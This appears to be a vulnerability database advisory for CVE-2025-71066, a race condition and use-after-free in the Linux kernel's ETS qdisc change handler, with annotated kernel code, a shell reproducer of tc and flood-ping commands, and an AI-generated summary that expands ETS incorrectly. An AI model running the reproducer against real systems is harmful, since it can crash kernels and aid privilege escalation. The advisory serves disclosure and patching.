VYPR
Unrated severityNVD Advisory· Published Jan 13, 2026· Updated Apr 15, 2026

CVE-2025-71066

CVE-2025-71066

Description

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between ets_qdisc_dequeue and ets_qdisc_change. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...

// (1) this lock is preventing .change handler (ets_qdisc_change) //to race with .dequeue handler (ets_qdisc_dequeue) sch_tree_lock(sch);

for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); }

WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));

for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]);

for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); }

// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch);

ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }

Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc

Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com)

DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}"   # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() {
  tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
  tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
  >/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 
---truncated---

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Race condition in Linux kernel's ETS Qdisc leads to use-after-free on struct Qdisc when changing band configuration.

Vulnerability

Overview

CVE-2025-71066 is a race condition in the Linux kernel's ETS (Expedited Time-Sensitive) Qdisc implementation, within the ets_qdisc_change function. When changing the number of bands (nbands) or strict bands (nstrict) via netlink, the function fails to properly remove a class from the active list before deleting its associated Qdisc. This oversight allows a concurrent ets_qdisc_dequeue operation to access a freed Qdisc object, leading to a use-after-free (UAF) vulnerability [1].

Exploitation

Conditions

The bug can be triggered when an attacker has the ability to create new user and network namespaces, enabling them to configure the ETS Qdisc and simultaneously trigger a dequeue race. The race occurs between the ets_qdisc_change handler (which holds the sch_tree_lock for part of its execution) and the ets_qdisc_dequeue handler (which runs without that lock). Specifically, after releasing the lock (line 3 in the description), the function continues to process old bands without the protection needed to prevent concurrent dequeue from accessing a Qdisc that is about to be freed [1].

Impact

A successful exploit results in a use-after-free on a struct Qdisc object. An attacker could leverage this to corrupt kernel memory, potentially leading to privilege escalation or denial of service. The vulnerability does not require authentication beyond the ability to manipulate network Qdisc configuration within a namespace [1].

Mitigation

Status

Patches have been merged into the stable kernel tree, as seen in the referenced commits [1][2]. The fix ensures that before deleting a Qdisc or purging its queue, the class is always removed from the active list while holding the sch_tree_lock, preventing the race condition. System administrators should apply the latest kernel updates to mitigate this vulnerability.

AI Insight generated on May 19, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

1

Patches

0

No patches discovered yet.

Vulnerability mechanics

AI mechanics synthesis has not run for this CVE yet.

References

7

News mentions

1